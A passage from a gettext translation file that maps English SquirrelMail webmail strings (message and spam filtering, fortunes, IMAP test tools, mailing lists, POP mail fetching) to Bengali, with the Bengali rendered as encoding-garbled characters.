msgstr "āϏāϤāĻ°ā§āĻ•āĻŦāĻžāύ⧀! āϖ⧁āρāϜāϤ⧇ āĻšāϤ⧇ āφāĻĒāύāĻžāϕ⧇ āĻ•āĻŋāϛ⧁ āĻĒā§āϰāĻŦ⧇āĻļ āĻ•āϰāĻžāϤ⧇ āĻšāĻŦ⧇:"

msgid ""
"WARNING! Header filters should be of the format &quot;Header: value&quot;"
msgstr "āϏāϤāĻ°ā§āĻ•āĻŦāĻžāύ⧀! āĻļāĻŋāϰāĻ• āĻĢāĻŋāĻ˛ā§āϟāĻžāϰāϗ⧁āϞ⧋ āĻāχ āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ⧇āϰ āĻšāĻ“ā§ŸāĻž āωāϚāĻŋāϤ &quot;āĻļāĻŋāϰāĻ•: āĻŽāĻžāύ&quot;"

msgid "Saved Scan type"
msgstr "āϝāĻžāϚāĻžāχ āĻ•āϰāĻžāϰ āϝ⧇ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϟāĻž āϞāĻŋāϖ⧇ āϰāĻžāĻ–āĻž āĻšā§Ÿā§‡āϛ⧇"

msgid "Message Filtering"
msgstr "āϚāĻŋāĻ āĻŋ āϝāĻžāϚāĻžāχ āĻ•āϰāĻž"

msgid "What to Scan:"
msgstr "āϝāĻžāϰ āĻŽāĻ§ā§āϝ⧇ āϝāĻžāϚāĻžāχ āĻ•āϰāϤ⧇ āĻšāĻŦ⧇:"

msgid "All messages"
msgstr "āϏāĻŦ āϚāĻŋāĻ āĻŋ"

msgid "Only unread messages"
msgstr "āĻļ⧁āϧ⧁ āύāĻž āĻĒāĻĄāĻŧāĻž āϚāĻŋāĻ āĻŋāϗ⧁āϞ⧋"

msgid "Save"
msgstr "āϏāĻ‚āϰāĻ•ā§āώāĻŖ āĻ•āϰ⧁āύ"

msgid "Match:"
msgstr "āĻŽāĻŋāϞ:"

msgid "Header"
msgstr "āĻļāĻŋāϰāĻ•"

msgid "Contains:"
msgstr "āϧāĻžāϰāĻŖ āĻ•āϰ⧇:"

#, php-format
msgid "If %s contains %s then move to %s"
msgstr "āϝāĻĻāĻŋ %1$s, %2$s āϧāĻžāϰāύ āĻ•āϰ⧇ āϤāĻŦ⧇ %3$s āϤ⧇ āϏāϰāĻŋā§Ÿā§‡ āĻĢ⧇āϞ⧁āύ"

msgid "Message Filters"
msgstr "āϚāĻŋāĻ āĻŋ āφāĻĒāύāĻž āφāĻĒāύāĻŋ āϏāĻžāϜāĻŋā§Ÿā§‡ āϰāĻžāĻ–āĻžāϰ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž"

msgid ""
"Filtering enables messages with different criteria to be automatically "
"filtered into different folders for easier organization."
msgstr ""
"āφāĻĒāύāĻž āφāĻĒāύāĻŋ āĻ­āĻžāĻ— āĻ•āϰāĻžāϰ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āĻĻāĻŋā§Ÿā§‡ āĻ•āĻŋāϛ⧁ āύāĻŋ⧟āĻŽ āϤ⧈āϰ⧀ āĻ•āϰ⧇ āĻĻāĻŋāϞ⧇ āϏ⧇āχ āĻ…āύ⧁āϝāĻžā§Ÿā§€ āϝāĻž āϚāĻŋāĻ āĻŋ "
"āφāϏāϛ⧇ āϏ⧇āϗ⧁āϞ⧋āϕ⧇ āύāĻŋ⧟āĻŽ āĻ…āύ⧁āϝāĻžāϝāĻŧā§€ āφāϞāĻžāĻĻāĻž āφāϞāĻžāĻĻāĻž āĻŦāĻžāĻ•ā§āϏ⧇ āφāĻĒāύāĻž āφāĻĒāύāĻŋ āĻĒāĻžāĻ āĻŋā§Ÿā§‡ āĻĻ⧇āĻ“ā§ŸāĻž āϝāĻžā§ŸāĨ¤"

msgid "SPAM Filters"
msgstr "āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āϝāĻžāϚāĻžāĻ‡ā§Ÿā§‡āϰ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž"

msgid ""
"SPAM filters allow you to select from various DNS based blacklists to detect "
"junk email in your INBOX and move it to another folder (like Trash)."
msgstr ""
"āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āϝāĻžāϚāĻžāĻ‡ā§Ÿā§‡āϰ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϟāĻž āϕ⧋āĻĨāĻž āĻĨ⧇āϕ⧇ āϚāĻŋāĻ āĻŋ āφāϏāϛ⧇ āϏ⧇āϟāĻžāϰ āωāĻĒāϰ āĻ­āĻŋāĻ¤ā§āϤāĻŋ āĻ•āϰ⧇, āφāĻĒāύāĻžāϰ "
"āĻĒāĻ›āĻ¨ā§āĻĻ⧇āϰ āĻ•āĻžāϞ⧋ āϤāĻžāϞāĻŋāĻ•āĻž āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇ āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āϏāύāĻžāĻ•ā§āϤ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇ āĻāĻŦāĻ‚ āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āĻĒ⧇āϞ⧇ "
"āϏ⧇āϗ⧁āϞ⧋āϕ⧇ āĻ…āĻ¨ā§āϝ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ⧇ (āϝ⧇āĻŽāύ āϛ⧇āρāĻĄāĻŧāĻžāϚāĻŋāĻ āĻŋāϰ āĻŦāĻžāĻ•ā§āϏ⧇) āϏāϰāĻŋā§Ÿā§‡ āĻĻāĻŋāϤ⧇ āĻĒāĻžāϰ⧇āĨ¤"

msgid "You must select a spam folder."
msgstr "āφāĻĒāύāĻžāϕ⧇ āĻ…āĻŦāĻļā§āϝāχ āĻ­āĻžāχāϰāĻžāϏāϝ⧁āĻ•ā§āϤ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ āĻ•āϰāϤ⧇ āĻšāĻŦ⧇āĨ¤"

msgid "You must select a scan type."
msgstr "āφāĻĒāύāĻžāϕ⧇ āĻ…āĻŦāĻļā§āϝāχ āĻāĻ•āϟāĻŋ āĻ…āĻ­āĻŋāĻŦā§€āĻ•ā§āώāύ āϧāϰāĻŖ āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ āĻ•āϰāϤ⧇ āĻšāĻŦ⧇āĨ¤"

msgid "Spam Filtering"
msgstr "āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āĻ•āĻŋāύāĻž āϝāĻžāϚāĻžāχ"

#, php-format
msgid "WARNING! Tell the administrator to set the %s variable."
msgstr "āϏāϤāĻ°ā§āĻ•āĻŦāĻžāĻŖā§€! āĻĒā§āϰāĻļāĻžāϏāĻ•āϕ⧇ āĻŦāϞ⧁āύ %s āϚāϞāĻ• āύāĻŋāϝ⧁āĻ•ā§āϤ āĻ•āϰāϤ⧇āĨ¤"

msgid "Move spam to:"
msgstr "āωāĻĄāĻŧā§‹ āϚāĻŋāĻ āĻŋ āφāϏāϞ⧇ āĻāĻ–āĻžāύ⧇ āϏāϰāĻŋāϝāĻŧ⧇ āϰāĻžāĻ–āĻž āĻšāĻŦ⧇:"

msgid ""
"Moving spam directly to the trash may not be a good idea at first, since "
"messages from friends and mailing lists might accidentally be marked as "
"spam. Whatever folder you set this to, make sure that it gets cleaned out "
"periodically, so that you don't have an excessively large mailbox hanging "
"around."
msgstr ""
"āĻĒā§āϰāĻĨāĻŽ āĻĨ⧇āϕ⧇āχ āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋāϗ⧁āϞ⧋āϕ⧇ āϛ⧇āρāĻĄāĻŧāĻžāϚāĻŋāĻ āĻŋāϰ āĻŦāĻžāĻ•ā§āϏ⧇ āĻĒāĻžāĻ āĻžāύ⧋āϟāĻž āωāϚāĻŋāϤ āĻšāĻŦ⧇ āύāĻž, āĻ•āĻžāϰāĻŖ āĻāχ "
"āĻ¸ā§āĻŦ⧟āĻ‚āĻ•ā§āϰāĻŋ⧟ āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āϏāύāĻžāĻ•ā§āϤāĻ•āϰāĻŖ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āĻ…āύ⧇āĻ• āϏāĻŽā§Ÿ āϭ⧁āϞ āĻ•āϰ⧇ āĻĢ⧇āϞ⧇āĨ¤ āĻĒā§āϰāĻĨāĻŽ āĻĻāĻŋāϕ⧇ āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋāϰ "
"āϜāĻ¨ā§āϝ āφāϞāĻžāĻĻāĻž āĻāĻ•āϟāĻž āĻŦāĻžāĻ•ā§āϏ āϰāĻžāĻ–āĻž āĻāĻŦāĻ‚ āϏāĻŽā§Ÿ āϏāĻŽā§Ÿ āĻĻ⧇āϖ⧇ āĻŦāĻžāĻ•ā§āϏāϟāĻž āĻ–āĻžāϞāĻŋ āĻ•āϰ⧇ āĻĢ⧇āϞāĻžāϟāĻžāχ āĻ­āĻžāϞ, āϝāĻžāϤ⧇ "
"āĻ•āϰ⧇ āφāĻĒāύāĻžāϰ āĻ…āϧāĻŋāĻ•āϤāϰ āĻŦ⧃āĻšā§Ž āĻŦāĻžāĻ°ā§āϤāĻžāĻŦāĻžāĻ•ā§āϏ āύāĻž āĻĨāĻžāϕ⧇āĨ¤"

msgid "Unread messages only"
msgstr "āĻļ⧁āϧ⧁ āĻ…āĻĒāĻ āĻŋāϤ āĻŦāĻžāĻ°ā§āϤāĻžāϗ⧁āϞ⧋"

msgid ""
"The more messages scanned, the longer it takes. It's recommended to scan "
"unread messages only. If a change to the filters is made, it's recommended "
"to set it to scan all messages, then go view the INBOX, then come back and "
"set it to scan unread messages only. That way, the new spam filters will be "
"applied and even the spam you didn't catch with the old filters will be "
"scanned."
msgstr ""
"āϝāϤ āĻŦ⧇āĻļā§€ āϚāĻŋāĻ āĻŋāϤ⧇ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰāĻŦ⧇āύ, āϤāϤ āĻŦ⧇āĻļā§€ āϏāĻŽā§Ÿ āϞāĻžāĻ—āĻŦ⧇āĨ¤  āφāĻŽāĻžāϰ āωāĻĒāĻĻ⧇āĻļ āĻšāϞ āĻļ⧁āϧ⧁āĻŽāĻžāĻ¤ā§āϰ āύāϤ⧁āύ "
"āφāϏāĻž āϚāĻŋāĻ āĻŋāϤ⧇ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰāĻž āĻšā§‹āĻ•āĨ¤  āϝāĻĻāĻŋ āύāĻŋ⧟āĻŽā§‡ āϕ⧋āύ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰ⧇āύ, āϤāĻžāĻšāϞ⧇ āĻĒā§āϰāĻĨāĻŽā§‡ āϏāĻŦ āϚāĻŋāĻ āĻŋāϰ "
"āωāĻĒāϰ āĻāĻ•āĻŦāĻžāϰ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰ⧇ āύāĻŋāϤ⧇ āĻšāĻŦ⧇āĨ¤  āϤāĻžāϰāĻĒāϰ āĻāĻ•āĻŦāĻžāϰ āϝ⧇ āϏāĻŦ āϚāĻŋāĻ āĻŋ āφāϏāϛ⧇ āϏ⧇āϗ⧁āϞ⧋āϰ āĻŦāĻžāĻ•ā§āϏ⧇ "
"āĻ—āĻŋā§Ÿā§‡, āϤāĻžāϰāĻĒāϰ āφāĻŦāĻžāϰ āĻāĻ–āĻžāύ⧇ āĻāϏ⧇ āĻļ⧁āϧ⧁āĻŽāĻžāĻ¤ā§āϰ āύāϤ⧁āύ āϚāĻŋāĻ āĻŋāϤ⧇ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰāĻžāϰ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āĻ•āϰ⧇ āĻĻāĻŋāϞ⧇āχ "
"āϚāϞāĻŦ⧇āĨ¤āĻāĻ­āĻžāĻŦ⧇, āύāϤ⧁āύ āĻ¸ā§āĻĒā§āϝāĻžāĻŽ āĻĢāĻŋāĻ˛ā§āϟāĻžāϰ āĻĒā§āĻ°ā§Ÿā§‹āĻ— āĻ•āϰāĻž āĻšāĻŦ⧇ āĻāĻŦāĻ‚ āϝ⧇ āĻ¸ā§āĻĒā§āϝāĻžāĻŽāϗ⧁āϞ⧋āϕ⧇ āφāĻĒāύāĻŋ āφāĻĒāύāĻžāϰ "
"āĻĒ⧁āϰāĻžāϤāύ āĻĢāĻŋāĻ˛ā§āϟāĻžāϰ āĻĻāĻŋā§Ÿā§‡ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇āύāύāĻŋ āϏ⧇āϗ⧁āϞ⧋āĻ“ āĻĒāϰ⧀āĻ•ā§āώ⧀āϤ āĻšāĻŦ⧇āĨ¤"

#, php-format
msgid "Spam is sent to %s."
msgstr "āĻ­āĻžāχāϰāĻžāϏ āϝ⧁āĻ•ā§āϤ āϚāĻŋāĻ āĻŋāϗ⧁āϞ⧋ %s āϤ⧇ āĻĒāĻžāĻ āĻžāύ⧋ āĻšā§Ÿā§‡āϛ⧇āĨ¤"

msgid "not set yet"
msgstr "āĻāĻ–āύ⧋ āĻ āĻŋāĻ• āĻ•āϰāĻž āĻšā§Ÿ āύāĻŋ"

#, php-format
msgid "Spam scan is limited to %s."
msgstr "āĻ­āĻžāχāϰāĻžāϏ āϝ⧁āĻ•ā§āϤ āϚāĻŋāĻ āĻŋ āĻŦāĻŋāĻļā§āϞ⧇āώāĻŖ %s āĻĒāĻ°ā§āϝāĻ¨ā§āϤ āϏ⧀āĻŽāĻŋāϤāĨ¤"

msgid "ON"
msgstr "āϏāĻ•ā§āϰāĻŋ⧟"

msgid "OFF"
msgstr "āύāĻŋāĻˇā§āĻ•ā§āϰāĻŋ⧟"

#, php-format
msgid "%s is not found."
msgstr "%s āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžā§Ÿ āύāĻŋāĨ¤"

msgid "Today's Fortune"
msgstr "āφāϜāϕ⧇āϰ āĻŦāĻžāĻŖā§€"

msgid "Fortunes"
msgstr "āĻĻ⧈āĻŦāĻŦāĻžāĻŖā§€"

msgid "Show fortunes at top of mailbox"
msgstr "āϚāĻŋāĻ āĻŋāϰ āĻŦāĻžāĻ•ā§āϏāϗ⧁āϞ⧋āϰ āĻ“āĻĒāϰ āĻŦāĻžāĻŖā§€ āĻĻ⧇āĻ–āĻžāύ"

msgid "Plugin is disabled."
msgstr "āĻĒā§āϞāĻžāĻ—āχāύāϟāĻŋ āĻ…āĻ•ā§āώāĻŽāĨ¤"

msgid "IMAP server information"
msgstr "āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āϏāĻ‚āĻ•ā§āϰāĻžāĻ¨ā§āϤ āϤāĻĨā§āϝ"

msgid ""
"Run some test IMAP commands, displaying both the command and the result. "
"These tests use the SquirrelMail IMAP commands and your current SquirrelMail "
"configuration. Custom command strings can be used."
msgstr ""
"āĻĒāϰ⧀āĻ•ā§āώāĻžāĻŽā§‚āϞāĻ• IMAP āφāĻĻ⧇āĻļāϏāĻŽā§‚āĻš āϚāĻžāϞāĻžāύ,āφāχāĻŽā§āϝāĻžāĻĒ āĻĄāĻžāĻ•āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϰ āϜāĻ¨ā§āϝ āĻ•āĻŋāϛ⧁ āĻĒāϰ⧀āĻ•ā§āώāĻžāĻŽā§‚āϞāĻ• āĻ…āύ⧁āϰ⧋āϧ "
"āĻĒāĻžāĻ āĻžāύ⧋ āĻšāĻŦ⧇ āĻāĻŦāĻ‚ āĻĢāϞāĻžāĻĢāϞ āĻĻ⧇āĻ–āĻžāύ⧋ āĻšāĻŦ⧇āĨ¤ SquirrelMail IMAP āϝ⧇ āϏāĻŦ āĻ…āύ⧁āϰ⧋āϧ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇ "
"āĻāĻŦāĻ‚ āφāĻĒāύāĻŋ āϝ⧇ āϏāĻŦ āύāĻŋāϝāĻŧāĻŽ āĻ āĻŋāĻ• āĻ•āϰ⧇ āĻĻāĻŋā§Ÿā§‡āϛ⧇āύ, āĻāχ āĻĒāϰ⧀āĻ•ā§āώāĻžā§Ÿ āϏ⧇āϗ⧁āϞ⧋ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āĻšāĻŦ⧇āĨ¤ āφāĻĒāύāĻŋ "
"āχāĻšā§āĻ›āĻž āĻ•āϰāϞ⧇ āύāĻŋāĻœā§‡āϰ āϤ⧈āϰ⧀ āĻ…āύ⧁āϰ⧋āϧ āĻŦāĻžāĻ•ā§āϝāĻ“ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇āύāĨ¤"

#, php-format
msgid ""
"This will send a message to %s requesting help for this list. You will "
"receive an emailed response at the address below."
msgstr ""
"āĻāϟāĻž āĻĻāĻŋā§Ÿā§‡ %s āϕ⧇ āĻŦāĻžāĻ°ā§āϤāĻž āĻĒā§āϰ⧇āϰāĻŖ āĻ•āϰ⧇ āĻāχ āϤāĻžāϞāĻŋāĻ•āĻž āϏāĻŽā§āĻŦāĻ¨ā§āϧ⧇ āϏāĻžāĻšāĻžāĻ¯ā§āϝ āϚāĻžāĻ“ā§ŸāĻž āϝāĻžāĻŦ⧇āĨ¤ āύ⧀āĻšā§‡āϰ āĻāχ "
"āĻ āĻŋāĻ•āĻžāύāĻžā§Ÿ āφāĻĒāύāĻŋ āĻāĻ•āϟāĻŋ āχ-āĻŽā§‡āχāϞ⧇āϰ āϏāĻžā§œāĻž āĻĒāĻžāĻŦ⧇āύāĨ¤"

#, php-format
msgid ""
"This will send a message to %s requesting that you will be subscribed to "
"this list. You will be subscribed with the address below."
msgstr ""
"āĻāĻ–āύ %s āϕ⧇ āĻāĻ•āϟāĻŋ āϚāĻŋāĻ āĻŋ āϞāĻŋāϖ⧇ āϜāĻžāύāĻžāύ⧋ āĻšāĻŦ⧇ āϝ⧇ āφāĻĒāύāĻŋ āĻāχ āϤāĻžāϞāĻŋāĻ•āĻžā§Ÿ āύāĻžāĻŽ āϞ⧇āĻ–āĻžāϤ⧇ āĻšā§‡ā§Ÿā§‡āϛ⧇āύāĨ¤ "
"āύāĻžāĻŽ āϞāĻŋāĻ–āĻžāύ⧋āϰ āϏāĻŽā§Ÿ āφāĻĒāύāĻžāϰ āχāĻŽā§‡āχāϞ āĻ āĻŋāĻ•āĻžāύāĻž āĻšāĻŋāϏāĻžāĻŦ⧇ āύ⧀āĻšā§‡āϰ āĻ āĻŋāĻ•āĻžāύāĻžāϟāĻž āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āĻšāĻŦ⧇:"

#, php-format
msgid ""
"This will send a message to %s requesting that you will be unsubscribed from "
"this list. It will try to unsubscribe the adress below."
msgstr ""
"āĻāĻ–āύ %s āϕ⧇ āĻāĻ•āϟāĻž āϚāĻŋāĻ āĻŋ āĻĻāĻŋā§Ÿā§‡ āϜāĻžāύāĻžāύ⧋ āĻšāĻŦ⧇ āϝ⧇ āφāĻĒāύāĻŋ āĻāχ āφāĻĄā§āĻĄāĻž āĻĨ⧇āϕ⧇ āϏāϰ⧇ āϝāĻžāĻŦ⧇āύāĨ¤ āφāĻĒāύāĻžāϰ "
"āύāĻŋāĻŽā§āύāϞāĻŋāĻ–āĻŋāϤ āĻ āĻŋāĻ•āĻžāύāĻžāϟāĻž āφāĻĄā§āĻĄāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻž āĻĨ⧇āϕ⧇ āϕ⧇āĻŸā§‡ āĻĻ⧇āĻ“ā§ŸāĻž āĻšāĻŦ⧇āĨ¤"

#, php-format
msgid "Unknown action: %s"
msgstr "āĻ…āϜāĻžāύāĻž āĻ•ā§āϰāĻŋ⧟āĻž: %s"

msgid "Mailinglist"
msgstr "āϚāĻŋāĻ āĻŋāĻĒāĻžāĻ āĻžāύ⧋āϰ āϤāĻžāϞāĻŋāĻ•āĻž"

msgid "Send Mail"
msgstr "āϚāĻŋāĻ āĻŋāϟāĻž āĻĒāĻžāĻ āĻŋā§Ÿā§‡ āĻĻāĻŋāύ"

msgid "Post to List"
msgstr "āϤāĻžāϞāĻŋāĻ•āĻžā§Ÿ āĻĒāĻžāĻ āĻžāύ⧋ āĻšā§Ÿā§‡āϛ⧇"

msgid "Reply to List"
msgstr "āϤāĻžāϞāĻŋāĻ•āĻžā§Ÿ āωāĻ¤ā§āϤāϰ āĻĻ⧇āĻ“ā§ŸāĻž"

msgid "List Archives"
msgstr "āϏāĻ‚āϰāĻ•ā§āώāĻŋāϤ āϤāĻžāϞāĻŋāĻ•āĻž"

msgid "Contact Listowner"
msgstr "āĻāχ āϤāĻžāϞāĻŋāĻ•āĻžāϟāĻŋāϰ āϏāĻŽā§āĻĒāĻžāĻĻāϕ⧇āϰ āϏāĻžāĻĨ⧇ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻ•āϰ⧁āύ"

msgid "Mailing List"
msgstr "āĻĄāĻžāĻ•-āϤāĻžāϞāĻŋāĻ•āĻž"

msgid "No server specified"
msgstr "āϕ⧋āύ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āωāĻ˛ā§āϞ⧇āĻ– āĻ•āϰāĻž āĻšā§ŸāύāĻŋ"

msgid "Error "
msgstr "āϏāĻŽāĻ¸ā§āϝāĻž"

msgid "no login ID submitted"
msgstr "āĻĒāϰāĻŋāϚ⧟ āĻĒā§āϰāĻŽāĻžāϪ⧇āϰ āϜāĻ¨ā§āϝ āϕ⧋āύ āύāĻžāĻŽ āĻĻ⧇āĻ“ā§ŸāĻž āĻšā§Ÿ āύāĻŋ"

msgid "connection not established"
msgstr "āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻ¸ā§āĻĨāĻžāĻĒāύ āĻ•āϰāĻž āϝāĻžā§Ÿ āύāĻŋ"

msgid "No password submitted"
msgstr "āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻĻ⧇āĻ“ā§ŸāĻž āĻšā§Ÿ āύāĻŋ"

msgid "No connection to server"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āϏāĻžāĻĨ⧇ āϕ⧋āύ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āύ⧇āχ"

msgid "No login ID submitted"
msgstr "āĻĒāϰāĻŋāϚ⧟ āĻĒā§āϰāĻŽāĻžāϪ⧇āϰ āϜāĻ¨ā§āϝ āϕ⧋āύ āύāĻžāĻŽ āĻĻ⧇āĻ“ā§ŸāĻž āĻšā§Ÿ āύāĻŋ"

msgid "No server banner"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇ āϕ⧋āύ āϏāĻ‚āĻ•ā§āώāĻŋāĻĒā§āϤ āĻŦāĻ°ā§āĻŖāύāĻž āύ⧇āχ"

msgid "abort"
msgstr "āĻŦāĻžāĻĻ āĻĻāĻŋāύ"

msgid "apop authentication failed"
msgstr "POP āĻĄāĻžāĻ• āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϰ āĻ•āĻžāϛ⧇ āĻĒāϰāĻŋāϚ⧟ āĻĒā§āϰāĻŽāĻžāĻŖ āĻ•āϰāĻž āϝāĻžā§Ÿ āύāĻŋ"

msgid "Premature end of list"
msgstr "āϤāĻžāϞāĻŋāĻ•āĻž āĻĒ⧁āϰ⧋āϟāĻž āĻĒāĻžāĻ“ā§ŸāĻžāϰ āφāϗ⧇āχ āĻļ⧇āώ āĻšā§Ÿā§‡ āϗ⧇āϞ"

msgid "Empty command string"
msgstr "āĻ…āύ⧁āϰ⧋āϧ āĻŦāĻžāĻ•ā§āϝ⧇ āĻ•āĻŋāϛ⧁ āύ⧇āχ"

msgid "connection does not exist"
msgstr "āϝ⧋āĻ—āĻžāϝ⧋āĻ— āύ⧇āχ"

msgid "No msg number submitted"
msgstr "āĻĄāĻžāĻ•āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϕ⧇ āϕ⧋āύ āϚāĻŋāĻ āĻŋ āĻĻ⧇āĻ“ā§ŸāĻž āϝāĻžā§Ÿ āύāĻŋ"

msgid "Command failed "
msgstr "āĻ…āύ⧁āϰ⧋āϧāϟāĻŋ āĻŦā§āϝāĻ°ā§āĻĨ āĻšā§Ÿā§‡āϛ⧇"

msgid "Remote POP server Fetching Mail"
msgstr "āĻĻā§‚āϰ⧇āϰ POP āĻĄāĻžāĻ•āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āϚāĻŋāĻ āĻŋ āφāύāϛ⧇"

msgid "Select Server:"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ āύāĻŋāϝ⧁āĻ•ā§āϤ āĻ•āϰ⧁āύ:"

msgid "Password for"
msgstr "āĻāϰ āϜāĻ¨ā§āϝ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ"

msgid "Fetch Mail"
msgstr "āϚāĻŋāĻ āĻŋ āφāύāĻž"

msgid "Fetching from "
msgstr "āĻāĻ–āĻžāύ āĻĨ⧇āϕ⧇ āϚāĻŋāĻ āĻŋ āφāύāĻž āĻšāĻšā§āϛ⧇"

msgid "Oops, "
msgstr "āĻšāĻžā§Ÿ āĻšāĻžā§Ÿ,"

msgid "Opening IMAP server"
msgstr "āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āϏāĻžāĻĨ⧇ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻ–ā§‹āϞāĻž āĻšāĻšā§āϛ⧇"

msgid "Opening POP server"
msgstr "POP āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āϏāĻžāĻĨ⧇ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻ–ā§‹āϞāĻž āĻšāĻšā§āϛ⧇"

msgid "Login Failed:"
msgstr "āϞāĻ—āχāύ āĻŦā§āϝāĻ°ā§āĻĨ āĻšā§Ÿā§‡āϛ⧇:"

msgid "Login OK: No new messages"
msgstr "āϞāĻ—āχāύ āϏāĻŽā§āĻĒāĻ¨ā§āύ: āύāϤ⧁āύ āϕ⧋āύ⧋ āϚāĻŋāĻ āĻŋ āφāϏ⧇ āύāĻŋ"

msgid "Login OK: Inbox EMPTY"
msgstr "āϞāĻ—āχāύ āϏāĻŽā§āĻĒāĻ¨ā§āύ: āϚāĻŋāĻ āĻŋ āφāϏāĻžāϰ āĻŦāĻžāĻ•ā§āϏ⧇ āϕ⧋āύ āϚāĻŋāĻ āĻŋ āύ⧇āχ"

#, php-format
msgid "Login OK: Inbox contains %s messages"
msgstr "āϞāĻ—āχāύ āϏāĻŽā§āĻĒāĻ¨ā§āύ: āφāĻ—āϤ āĻŦāĻžāĻ•ā§āϏ %s āĻŦāĻžāĻ°ā§āϤāĻž āϧāĻžāϰāύ āĻ•āϰ⧇"

msgid "Fetching UIDL..."
msgstr "āχāω āφāχ āĻĄāĻŋ āĻāϞ (UIDL)āϟāĻž āύāĻŋā§Ÿā§‡ āφāϏāĻž āĻšāĻšā§āϛ⧇..."

msgid "Server does not support UIDL."
msgstr "āĻāχ āĻĄāĻžāĻ• āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āχāω āφāχ āĻĄāĻŋ āĻāϞ (UIDL) āύāĻŋā§Ÿā§‡ āĻ•āĻžāϜ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇ āύāĻžāĨ¤"

msgid "Leaving mail on server..."
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇ āϚāĻŋāĻ āĻŋ āϰ⧇āϖ⧇ āĻĻ⧇āĻ“ā§ŸāĻž āĻšāĻšā§āϛ⧇..."

msgid "Deleting messages from server..."
msgstr "āĻĄāĻžāĻ•āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āĻĨ⧇āϕ⧇ āϚāĻŋāĻ āĻŋāϗ⧁āϞ⧋ āĻŽā§āϛ⧇ āĻĢ⧇āϞāĻž āĻšāĻšā§āϛ⧇..."

msgid "Fetching message "
msgstr "āϚāĻŋāĻ āĻŋ āĻ—ā§āϰāĻšāύ āĻ•āϰāĻž āĻšāĻšā§āϛ⧇"

msgid "Server error. Disconnect"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇ āϏāĻŽāĻ¸ā§āϝāĻž āĻšāĻšā§āϛ⧇āĨ¤ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻŦāĻ¨ā§āϧ"

msgid "Reconnect from dead connection"
msgstr "āĻŦāĻ¨ā§āϧ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āφāĻŦāĻžāϰ āĻ¸ā§āĻĨāĻžāĻĒāύ⧇āϰ āĻšā§‡āĻˇā§āϟāĻž"

msgid "Saving UIDL"
msgstr "āχāω āφāχ āĻĄāĻŋ āĻāϞ (UIDL) āϟāĻŋ āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰāĻž āĻšāĻšā§āϛ⧇"

msgid "Refetching message "
msgstr "āĻāχ āϚāĻŋāĻ āĻŋāϟāĻž āφāĻŦāĻžāϰ āφāύāĻž āĻšāĻšā§āϛ⧇"

msgid "Error Appending Message!"
msgstr "āϚāĻŋāĻ āĻŋ āĻļ⧇āώ⧇ āϝ⧁āĻ•ā§āϤ āĻ•āϰāϤ⧇ āϏāĻŽāĻ¸ā§āϝāĻž āĻšāĻšā§āϛ⧇!"

msgid "Closing POP"
